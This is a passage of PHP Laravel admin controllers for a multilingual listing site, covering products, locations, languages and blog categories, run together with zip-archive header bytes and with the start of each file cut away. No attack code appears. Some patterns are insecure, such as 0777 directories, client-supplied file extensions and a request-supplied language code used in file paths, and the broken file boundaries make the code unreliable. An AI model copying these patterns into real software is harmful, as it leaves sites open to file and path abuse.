(!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ] ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { $validator->getMessageBag()->add('error', 'true'); return response()->json($validator->errors()); } $filename = uniqid() . '.jpg'; $directory = public_path('assets/img/listing/product-gallery/'); @mkdir($directory, 0775, true); $img->move($directory, $filename); $pi = new ListingProductImage(); $pi->image = $filename; $pi->save(); return response()->json(['status' => 'success', 'file_id' => $pi->id]); } public function imagermv(Request $request) { $pi = ListingProductImage::findOrFail($request->fileid); $image_count = ListingProductImage::where('listing_product_id', $pi->listing_product_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing/product-gallery/') . $pi->image); $pi->delete(); return $pi->id; } else { return 'false'; } } public function imagedbrmv(Request $request) { $pi = ListingProductImage::findOrFail($request->fileid); $image_count = ListingProductImage::where('listing_product_id', $pi->listing_product_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing/product-gallery/') . $pi->image); $pi->delete(); Session::flash('success', 'Slider image deleted successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', 'You can\'t delete all images.!!'); return Response::json(['status' => 'success'], 200); } } public function updateStatus(Request $request) { $listing = ListingProduct::findOrFail($request->productId); if ($request->status == 1) { $listing->update(['status' => 1]); Session::flash('success', 'Product Active successfully!'); } else { $listing->update(['status' => 0]); Session::flash('success', 'Product Deactive successfully!'); } return redirect()->back(); } public function store(ProductStoreRequest $request) { if ($request->vendor_id != 0) { $totalproduct = ListingProduct::where('listing_id', $request->listing_id) ->count(); if ($totalproduct < packageTotalProducts($request->listing_id)) { DB::transaction(function () use ($request) { $featuredImgURL = $request->feature_image; $languages = Language::all(); $in = $request->all(); $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/product/'); if (!file_exists($featuredDir)) { @mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); $in['feature_image'] = $featuredImgName; $listingProduct = ListingProduct::create($in); $siders = $request->slider_images; if ($siders) { $pis = ListingProductImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_product_id = $listingProduct->id; $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingProductContent = new ListingProductContent(); $listingProductContent->language_id = $language->id; $listingProductContent->listing_id = $request->listing_id; $listingProductContent->listing_product_id = $listingProduct->id; $listingProductContent->title = $request[$language->code . '_title']; $listingProductContent->slug = createSlug($request[$language->code . '_title']); $listingProductContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $listingProductContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingProductContent->meta_description = $request[$language->code . '_meta_description']; $listingProductContent->save(); } }); Session::flash('success', 'New Product added successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', "Products limit reached or exceeded"); return Response::json(['status' => 'success'], 200); } } else { DB::transaction(function () use ($request) { $featuredImgURL = $request->feature_image; $languages = Language::all(); $in = $request->all(); $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/product/'); if (!file_exists($featuredDir)) { @mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); $in['feature_image'] = $featuredImgName; $listingProduct = ListingProduct::create($in); $siders = $request->slider_images; if ($siders) { $pis = ListingProductImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_product_id = $listingProduct->id; $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingProductContent = new ListingProductContent(); $listingProductContent->language_id = $language->id; $listingProductContent->listing_id = $request->listing_id; $listingProductContent->listing_product_id = $listingProduct->id; $listingProductContent->title = $request[$language->code . '_title']; $listingProductContent->slug = createSlug($request[$language->code . '_title']); $listingProductContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $listingProductContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingProductContent->meta_description = $request[$language->code . '_meta_description']; $listingProductContent->save(); } }); Session::flash('success', 'New Product added successfully!'); return Response::json(['status' => 'success'], 200); } } public function edit($id) { $Listin_id = ListingProduct::findOrFail($id)->listing_id; $permissions = productPermission($Listin_id); if ($permissions) { $listing = ListingProduct::with('galleries')->findOrFail($id); $information['product'] = $listing; $information['product_id'] = $id; // get all the languages from db $information['languages'] = Language::all(); $information['vendors'] = Vendor::get(); $information['currencyInfo'] = $this->getCurrencyInfo(); return view('admin.listing.product.edit', $information); } else { Session::flash('warning', "This vendor Product Permission is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function update(Request $request, $id) { $rules = [ 'status' => 'required', 'current_price' => 'required', ]; $featuredImgURL = $request->thumbnail; $languages = Language::all(); foreach ($languages as $language) { $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_content'] = 'required|min:15'; $messages[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language'; $messages[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language'; $messages[$language->code . '_content.required'] = 'The content field is required for ' . $language->name . ' language'; $messages[$language->code . '_content.min'] = 'The content field at least have 15 characters for ' . $language->name . ' language'; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $in = $request->all(); $listing = ListingProduct::findOrFail($request->product_id); if ($request->hasFile('thumbnail')) { $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/product/'); if (!file_exists($featuredDir)) { mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); @unlink(public_path('assets/img/listing/product/') . $listing->feature_image); $in['feature_image'] = $featuredImgName; } $listing = $listing->update($in); $siders = $request->slider_images; if ($siders) { $pis = ListingProductImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_product_id = $request->product_id; $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingProductContent = ListingProductContent::where('listing_product_id', $request->product_id)->where('language_id', $language->id)->first(); if (empty($listingProductContent)) { $listingProductContent = new ListingProductContent(); } $listingProductContent->language_id = $language->id; $listingProductContent->listing_id = $request->listing_id; // $listingProductContent->listing_product_id = $listingProduct->id; $listingProductContent->title = $request[$language->code . '_title']; $listingProductContent->slug = createSlug($request[$language->code . '_title']); $listingProductContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $listingProductContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingProductContent->meta_description = $request[$language->code . '_meta_description']; $listingProductContent->save(); } Session::flash('success', 'Product Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function delete($id) { $product = ListingProduct::findOrFail($id); // first, delete all the contents of this package $contents = $product->listing_product_content()->get(); foreach ($contents as $content) { $content->delete(); } if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } // first, delete all the contents of this package $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } $productMessages = ProductMessage::where('product_id', $id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } // finally, delete this package $product->delete(); Session::flash('success', 'Product deleted successfully!'); return redirect()->back(); } public function bulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $product = ListingProduct::findOrFail($id); // first, delete all the contents of this package $contents = $product->listing_product_content()->get(); foreach ($contents as $content) { $content->delete(); } if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } // first, delete all the contents of this package $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } $productMessages = ProductMessage::where('product_id', $id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } // finally, delete this package $product->delete(); } Session::flash('success', 'Listing deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\_A:Http/Controllers/Admin/Listing/Location/CityController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['countries'] = $language->countryInfo()->orderByDesc('id')->get(); $information['states'] = $language->stateInfo()->orderByDesc('id')->get(); $information['stateCount'] = $language->stateInfo()->orderByDesc('id')->count(); $information['cities'] = $language->cityInfo()->orderByDesc('id')->get(); $information['langs'] = Language::all(); $information['language'] = $language; return view('admin.listing.location.city.index', $information); } public function getCountry($language_id) { $countries = Country::where('language_id', $language_id)->get(); $states = State::where('language_id', $language_id)->get(); return response()->json([ 'status' => 'success', 'countries' => $countries, 'states' => $states ], 200); } public function getState($country) { $states = State::where('country_id', $country)->get(); return response()->json(['status' => 'success', 'states' => $states], 200); } public function store(Request $request) { $totalCountry = Country::Where('language_id', $request->m_language_id)->count(); if ($totalCountry > 0) { $country = true; $totalState = State::Where('country_id', $request->country_id)->count(); if ($totalState > 0) { $state = true; } else { $state = false; } } else { $country = false; $totalState = State::Where('language_id', $request->m_language_id)->count(); if ($totalState > 0) { $state = true; } else { $state = false; } } $rules = [ 'm_language_id' => 'required', 'feature_image' => [ 'required', new ImageMimeTypeRule() ], 'name' => 'required', 'country_id' => $country ? 'required' : '', 'state_id' => $state ? 'required' : '', ]; $messages = [ 'm_language_id.required' => 'The language field is required.', 'country_id.required' => 'The country field is required.', 'state_id.required' => 'The state field is required.', 'feature_image.required' => 'The featured image field is required.', 'name.required' => 'The name field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return response()->json([ 'errors' => $validator->getMessageBag() ], 400); } $featuredImgURL = $request->feature_image; $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/location/city/'); if (!file_exists($featuredDir)) { @mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); $state = new City(); $state->language_id = $request->m_language_id; $state->country_id = $request->country_id; $state->state_id = $request->state_id; $state->feature_image = $featuredImgName; $state->name = $request->name; $state->save(); Session::flash('success', 'State stored successfully!'); return response()->json(['status' => 'success'], 200); } public function update(Request $request) { $totalCountry = Country::Where('language_id', $request->language_id)->count(); if ($totalCountry > 0) { $country = true; } else { $country = false; } $totalState = State::Where('country_id', $request->country_id)->count(); if ($totalState > 0) { $state = true; } else { $state = false; } $rules = [ 'name' => 'required', 'country_id' => $country ? 'required' : '', 'state_id' => $state ? 'required' : '', ]; if ($request->hasFile('image')) { $rules['image'] = [ new ImageMimeTypeRule(), ]; } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $city = City::find($request->id); $in = $request->all(); if ($request->hasFile('image')) { @unlink(public_path('assets/img/location/city/') . $city->feature_image); $img = $request->file('image'); $filename = uniqid() . '.jpg'; $directory = public_path('assets/img/location/city/'); @mkdir($directory, 0775, true); $img->move($directory, $filename); $in['feature_image'] = $filename; } $States = State::where('country_id', $request->country_id)->count(); if ($States < 1) { $in['state_id'] = null; } $city->update($in); Session::flash('success', 'City updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $City = City::query()->find($id); $listing_content = ListingContent::Where('city_id', $id)->get(); if (count($listing_content) > 0) { return redirect()->back()->with('warning', 'First delete all the listing of this City!'); } else { $City->delete(); return redirect()->back()->with('success', 'State deleted successfully!'); } return redirect()->back()->with('success', 'State deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request['ids']; $errorOccurred = false; foreach ($ids as $id) { $City = City::query()->find($id); $listing_content = ListingContent::Where('city_id', $id)->get(); if (count($listing_content) > 0) { $errorOccurred = true; break; } else { $City->delete(); } } if ($errorOccurred == true) { Session::flash('warning', 'First delete all the listing of these City!'); } else { Session::flash('success', 'Selected Informations deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\b =Http/Controllers/Admin/Listing/Location/CountryController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['countries'] = $language->countryInfo()->orderByDesc('id')->get(); $information['langs'] = Language::all(); $information['language'] = $language; return view('admin.listing.location.country.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'name' => [ 'required', Rule::unique('countries')->where(function ($query) use ($request) { return $query->where('language_id', $request->input('language_id')); }), 'max:255', ], ]; $message = [ 'language_id.required' => 'The language field is required.', 'name.required' => 'The name field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } Country::query()->create($request->except('language')); Session::flash('success', 'Country stored successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'name' => [ 'required', Rule::unique('countries')->where(function ($query) use ($request) { return $query->where('language_id', $request->input('language_id')); })->ignore($request->id, 'id'), 'max:255', ], ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $aminiteInfo = Country::query()->find($request->id); $aminiteInfo->update($request->except('language')); Session::flash('success', 'Country updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $country = Country::query()->find($id); $city = City::Where('country_id', $id)->get(); $state = State::Where('country_id', $id)->get(); $listing_content = ListingContent::Where('country_id', $id)->get(); if (count($city) > 0) { return redirect()->back()->with('warning', 'First delete all the city of this Country!'); } else { if (count($state) > 0) { return redirect()->back()->with('warning', 'First delete all the State of this Country!'); } else { if (count($listing_content) > 0) { return redirect()->back()->with('warning', 'First delete all the listing of this Country!'); } else { $country->delete(); return redirect()->back()->with('success', 'Country deleted successfully!'); } } } } public function bulkDestroy(Request $request) { $ids = $request['ids']; $errorOccurred = false; $errorOccurred2 = false; $errorOccurred3 = false; foreach ($ids as $id) { $country = Country::query()->find($id); $city = City::Where('country_id', $id)->get(); $state = State::Where('country_id', $id)->get(); $listing_content = ListingContent::Where('country_id', $id)->get(); if (count($city) > 0) { $errorOccurred = true; break; } else { if (count($state) > 0) { $errorOccurred2 = true; break; } else { if (count($listing_content) > 0) { $errorOccurred3 = true; break; } else { $country->delete(); } } } } if ($errorOccurred == true) { Session::flash('warning', 'First delete all the city of these Country!'); } elseif ($errorOccurred2 == true) { Session::flash('warning', 'First delete all the State of these Country!'); } elseif ($errorOccurred3 == true) { Session::flash('warning', 'First delete all the listing of these Country!'); } else { Session::flash('success', 'Selected Informations deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\F$^^;Http/Controllers/Admin/Listing/Location/StateController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['countries'] = $language->countryInfo()->orderByDesc('id')->get(); $information['states'] = $language->stateInfo()->orderByDesc('id')->get(); $information['langs'] = Language::all(); $information['language'] = $language; return view('admin.listing.location.state.index', $information); } public function getCountry($language_id) { $countries = Country::where('language_id', $language_id)->get(); $states = State::where('language_id', $language_id)->get(); return response()->json([ 'status' => 'success', 'countries' => $countries, 'states' => $states ], 200); } public function store(Request $request) { $totalCountry = Country::Where('language_id', $request->m_language_id)->count(); if ($totalCountry > 0) { $country = true; } else { $country = false; } $rules = [ 'm_language_id' => 'required', 'name' => 'required', 'country_id' => $country ? 'required' : '', ]; $messages = [ 'm_language_id.required' => 'The language field is required.', 'name.required' => 'The name field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return response()->json([ 'errors' => $validator->getMessageBag() ], 400); } $state = new State(); // Use the correct field names here $state->language_id = $request->m_language_id; $state->name = $request->name; $state->country_id = $request->country_id; $state->save(); Session::flash('success', 'State stored successfully!'); return response()->json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'name' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $aminiteInfo = State::query()->find($request->id); $aminiteInfo->update($request->except('language')); Session::flash('success', 'Country updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $State = State::query()->find($id); $city = City::Where('state_id', $id)->get(); $listing_content = ListingContent::Where('state_id', $id)->get(); if (count($city) > 0) { return redirect()->back()->with('warning', 'First delete all the city of this State!'); } else { if (count($listing_content) > 0) { return redirect()->back()->with('warning', 'First delete all the listing of this State!'); } else { $State->delete(); return redirect()->back()->with('success', 'State deleted successfully!'); } } } public function bulkDestroy(Request $request) { $ids = $request['ids']; $errorOccurred = false; $errorOccurred2 = false; foreach ($ids as $id) { $State = State::query()->find($id); $city = City::Where('state_id', $id)->get(); $listing_content = ListingContent::Where('state_id', $id)->get(); if (count($city) > 0) { $errorOccurred = true; break; } else { if (count($listing_content) > 0) { $errorOccurred2 = true; break; } else { $State->delete(); } } } if ($errorOccurred == true) { Session::flash('warning', 'First delete all the city of these State!'); } elseif ($errorOccurred2 == true) { Session::flash('warning', 'First delete all the listing of these State!'); } else { Session::flash('success', 'Selected Informations deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\Ac`U`U-Http/Controllers/Admin/LanguageController.phpnu[code) . '.json'; // create the path where the new language json file will be stored $fileLocated = resource_path('lang/') . $fileName; // finally, put the keywords in the new json file and store the file in lang folder file_put_contents($fileLocated, $data); $in = $request->all(); $in['code'] = strtolower($request->code); // then, store data in db $language = Language::query()->create($in); $data = []; $data[] = [ 'text' => 'Home', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "home" ]; $data[] = [ 'text' => 'Listings', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "listings" ]; $data[] = [ 'text' => 'Pricing', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "pricing" ]; $data[] = [ 'text' => 'Vendors', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "vendors" ]; $data[] = [ 'text' => 'Shop', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "shop" ]; $data[] = [ 'text' => 'Blog', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "blog" ]; $data[] = [ 'text' => 'FAQ', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "faq" ]; $data[] = [ 'text' => 'About Us', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "about-us" ]; $data[] = [ 'text' => 'Contact', "href" => "", "icon" => "empty", "target" => "_self", "title" => "", "type" => "contact" ]; MenuBuilder::create([ 'language_id' => $language->id, 'menus' => json_encode($data, true) ]); Session::flash('success', 'Language added successfully!'); return response()->json(['status' => 'success'], 200); } /** * Make a default language for this system. * * @param int $id * @return \Illuminate\Http\Response */ public function makeDefault($id) { // first, make other languages to non-default language $prevDefLang = Language::query()->where('is_default', '=', 1); $prevDefLang->update(['is_default' => 0]); // second, make the selected language to default language $language = Language::query()->find($id); $language->update(['is_default' => 1]); return back()->with('success', $language->name . ' ' . 'is set as default language.'); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateRequest $request) { $language = Language::query()->find($request->id); $in = $request->all(); $in['code'] = strtolower($request->code); if ($language->code !== $request->code) { /** * get all the keywords from the previous file, * which was named using previous language code */ $data = file_get_contents(resource_path('lang/') . $language->code . '.json'); // make a new json file for the new language (code) $fileName = strtolower($request->code) . '.json'; // create the path where the new language (code) json file will be stored $fileLocated = resource_path('lang/') . $fileName; // then, put the keywords in the new json file and store the file in lang folder file_put_contents($fileLocated, $data); // now, delete the previous language code file @unlink(resource_path('lang/') . $language->code . '.json'); // finally, update the info in db $language->update($in); } else { $language->update($in); } Session::flash('success', 'Language updated successfully!'); return response()->json(['status' => 'success'], 200); } public function addKeyword(Request $request) { $rules = [ 'keyword' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $languages = Language::get(); foreach ($languages as $language) { // get all the keywords of the selected language $jsonData = file_get_contents(resource_path('lang/') . $language->code . '.json'); // convert json encoded string into a php associative array $keywords = json_decode($jsonData, true); $datas = []; $datas[$request->keyword] = $request->keyword; foreach ($keywords as $key => $keyword) { $datas[$key] = $keyword; } //put data $jsonData = json_encode($datas); $fileLocated = resource_path('lang/') . $language->code . '.json'; // put all the keywords in the selected language file file_put_contents($fileLocated, $jsonData); } //for default json // get all the keywords of the selected language $jsonData = file_get_contents(resource_path('lang/') . 'default.json'); // convert json encoded string into a php associative array $keywords = json_decode($jsonData, true); $datas = []; $datas[$request->keyword] = $request->keyword; foreach ($keywords as $key => $keyword) { $datas[$key] = $keyword; } //put data $jsonData = json_encode($datas); $fileLocated = resource_path('lang/') . 'default.json'; // put all the keywords in the selected language file file_put_contents($fileLocated, $jsonData); Session::flash('success', 'A new keyword add successfully for ' . $language->name . ' language!'); return response()->json(['status' => 'success'], 200); } /** * Display all the keywords of specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function editKeyword($id) { $language = Language::query()->findOrFail($id); // get all the keywords of the selected language $jsonData = file_get_contents(resource_path('lang/') . $language->code . '.json'); // convert json encoded string into a php associative array $keywords = json_decode($jsonData); return view('admin.language.edit-keyword', compact('language', 'keywords')); } /** * Update the keywords of specified resource in respective json file. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function updateKeyword(Request $request, $id) { $arrData = $request['keyValues']; // first, check each key has value or not foreach ($arrData as $key => $value) { if ($value == null) { Session::flash('warning', 'Value is required for "' . $key . '" key.'); return redirect()->back(); } } $jsonData = json_encode($arrData); $language = Language::query()->find($id); $fileLocated = resource_path('lang/') . $language->code . '.json'; // put all the keywords in the selected language file file_put_contents($fileLocated, $jsonData); Session::flash('success', $language->name . ' language\'s keywords updated successfully!'); return redirect()->back(); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $language = Language::query()->find($id); if ($language->is_default == 1) { return redirect()->back()->with('warning', 'Default language cannot be delete.'); } else { /** * delete website-menu info */ $websiteMenuInfo = $language->menuInfo()->first(); if (!empty($websiteMenuInfo)) { $websiteMenuInfo->delete(); } $listingCategorys = $language->listingCategory()->get(); foreach ($listingCategorys as $listingCategory) { $listingCategory->delete(); } /** * delete product-categories info */ $productCategories = $language->productCategory()->get(); if (count($productCategories) > 0) { foreach ($productCategories as $productCategory) { $productCategory->delete(); } } $shippingCharges = $language->shippingCharge()->get(); foreach ($shippingCharges as $shippingCharge) { $shippingCharge->delete(); } //delete all listing contents ListingContent::where('language_id', $id)->delete(); ListingFeatureContent::where('language_id', $id)->delete(); ListingFaq::where('language_id', $id)->delete(); ListingProductContent::where('language_id', $id)->delete(); /** * delete product infos */ $productInfos = $language->productContent()->get(); if (count($productInfos) > 0) { foreach ($productInfos as $productData) { $productInfo = $productData; $productData->delete(); // delete the product if, this product does not contain any other product-contents in any other language $otherProductInfos = ProductContent::query()->where('language_id', '<>', $language->id) ->where('product_id', '=', $productInfo->product_id) ->get(); if (count($otherProductInfos) == 0) { $product = Product::query()->find($productInfo->product_id); // delete purchase item records of this product $purchaseInfos = $product->purchase()->get(); if (count($purchaseInfos) > 0) { foreach ($purchaseInfos as $purchaseData) { $purchaseInfo = $purchaseData; $purchaseData->delete(); // delete the order if, this order does not contain any other items $otherPurchaseItems = ProductPurchaseItem::query()->where('product_id', '<>', $product->id) ->where('product_order_id', '=', $purchaseInfo->product_order_id) ->get(); if (count($otherPurchaseItems) == 0) { $order = ProductOrder::query()->find($purchaseInfo->product_order_id); // delete order receipt @unlink(public_path('assets/file/attachments/product/') . $order->receipt); // delete order invoice @unlink(public_path('assets/file/invoices/product/') . $order->invoice); $order->delete(); } } } // delete all the reviews of this product $reviews = $product->review()->get(); if (count($reviews) > 0) { foreach ($reviews as $review) { $review->delete(); } } // delete product featured image $featImg = $product->featured_image; @unlink(public_path('assets/img/products/featured-images/') . $featImg); // delete product slider images $sldImgs = json_decode($product->slider_images); foreach ($sldImgs as $sldImg) { @unlink(public_path('assets/img/products/slider-images/') . $sldImg); } // delete product zip file $zipFile = $product->file; @unlink(public_path('assets/file/products/') . $zipFile); $product->delete(); } } } $vendorInfos = $language->vendorInfo()->get(); foreach ($vendorInfos as $vendorInfo) { $vendorInfo->delete(); } /** * delete hero-slider infos */ $heros = $language->heroSection()->get(); if (count($heros) > 0) { foreach ($heros as $hero) { $bgImg = $hero->background_image; $hero->delete(); } } /** * delete call-to-action-section info */ $callToActionSecInfo = $language->callToActionSection()->first(); if (!empty($callToActionSecInfo)) { $callToActionSecInfo->delete(); } $workProcessSections = $language->workProcessSection()->get(); foreach ($workProcessSections as $workProcessSection) { $workProcessSection->delete(); } $workProcess = $language->workProcess()->get(); foreach ($workProcess as $workProces) { $workProces->delete(); } $counterInfos = $language->counterInfo()->get(); foreach ($counterInfos as $counterInfo) { $counterInfo->delete(); } $counterSections = $language->counterSection()->get(); foreach ($counterSections as $counterSection) { $counterSection->delete(); } $testimonialSections = $language->testimonialSection()->get(); foreach ($testimonialSections as $testimonialSection) { $testimonialSection->delete(); } /** * delete testimonial infos */ $testimonials = $language->testimonial()->get(); if (count($testimonials) > 0) { foreach ($testimonials as $testimonial) { $clientImg = $testimonial->image; @unlink(public_path('assets/img/clients/') . $clientImg); $testimonial->delete(); } } /** * delete blog-section info */ $blogSecInfo = $language->blogSection()->first(); if (!empty($blogSecInfo)) { $blogSecInfo->delete(); } /** * delete footer-content info */ $footerContentInfo = $language->footerContent()->first(); if (!empty($footerContentInfo)) { $footerContentInfo->delete(); } /** * delete footer-quick-links */ $quickLinks = $language->footerQuickLink()->get(); if (count($quickLinks) > 0) { foreach ($quickLinks as $quickLink) { $quickLink->delete(); } } /** * delete custom-page infos */ $customPageInfos = $language->customPageInfo()->get(); if (count($customPageInfos) > 0) { foreach ($customPageInfos as $customPageData) { $customPageInfo = $customPageData; $customPageData->delete(); // delete the custom-page if, this page does not contain any other page-content in any other language $otherPageContents = PageContent::query()->where('language_id', '<>', $language->id) ->where('page_id', '=', $customPageInfo->page_id) ->get(); if (count($otherPageContents) == 0) { $page = Page::query()->find($customPageInfo->page_id); $page->delete(); } } } /** * delete blog-categories info */ $blogCategories = $language->blogCategory()->get(); if (count($blogCategories) > 0) { foreach ($blogCategories as $blogCategory) { $blogCategory->delete(); } } /** * delete blog infos */ $blogInfos = $language->blogInformation()->get(); if (count($blogInfos) > 0) { foreach ($blogInfos as $blogData) { $blogInfo = $blogData; $blogData->delete(); // delete the blog if, this blog does not contain any other blog-information in any other language $otherBlogInfos = BlogInformation::query()->where('language_id', '<>', $language->id) ->where('blog_id', '=', $blogInfo->blog_id) ->get(); if (count($otherBlogInfos) == 0) { $blog = Blog::query()->find($blogInfo->blog_id); @unlink(public_path('assets/img/blogs/') . $blog->image); $blog->delete(); } } } /** * delete faq infos */ $faqs = $language->faq()->get(); if (count($faqs) > 0) { foreach ($faqs as $faq) { $faq->delete(); } } /** * delete popup infos */ $popups = $language->announcementPopup()->get(); if (count($popups) > 0) { foreach ($popups as $popup) { @unlink(public_path('assets/img/popups/') . $popup->image); $popup->delete(); } } $pageNames = $language->pageName()->get(); foreach ($pageNames as $pageName) { $pageName->delete(); } $seoInfos = $language->seoInfo()->get(); foreach ($seoInfos as $seoInfo) { $seoInfo->delete(); } /** * delete cookie-alert info */ $cookieAlertInfo = $language->cookieAlertInfo()->first(); if (!empty($cookieAlertInfo)) { $cookieAlertInfo->delete(); } /** * delete the language json file */ @unlink(resource_path('lang/') . $language->code . '.json'); /** * finally, delete the language info from db */ $language->delete(); return redirect()->back()->with('success', 'Language deleted successfully!'); } } /** * Check the specified language is RTL or not. * * @param int $id * @return \Illuminate\Http\Response */ public function checkRTL($id) { if (!is_null($id)) { $direction = Language::query()->where('id', '=', $id) ->pluck('direction') ->first(); return response()->json(['successData' => $direction], 200); } else { return response()->json(['errorData' => 'Sorry, an error has occured!'], 400); } } } PK(\ڐ5Http/Controllers/Admin/Journal/CategoryController.phpnu[language)->firstOrFail(); $information['language'] = $language; $information['categories'] = $language->blogCategory()->orderByDesc('id')->get(); $information['langs'] = Language::all(); return view('admin.journal.category.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'name' => 'required|unique:blog_categories|max:255', 'status' => 'required|numeric', 'serial_number' => 'required|numeric' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } BlogCategory::create($request->except('slug') + [ 'slug' => createSlug($request->name) ]); Session::flash('success', 'New blog category added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'name' => [ 'required', 'max:255', Rule::unique('blog_categories', 'name')->ignore($request->id, 'id') ], 'status' => 'required|numeric', 'serial_number' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $category = BlogCategory::find($request->id); $category->update($request->except('slug') + [ 'slug' => createSlug($request->name) ]); Session::flash('success', 'Blog category updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $category = BlogCategory::find($id); $blogInformations = $category->blogInfo()->get(); if (count($blogInformations) > 0) { return redirect()->back()->with('warning', 'First delete all the blog of this category!'); } else { $category->delete(); return redirect()->back()->with('success', 'Blog category deleted successfully!'); } } public function bulkDestroy(Request $request) { $ids = $request->ids; $errorOccurred = false; foreach ($ids as $id) { $category = BlogCategory::find($id); $blogInformations = $category->blogInfo()->get(); if (count($blogInformations) > 0) { $errorOccurred = true; break; } else { $category->delete(); } } if ($errorOccurred 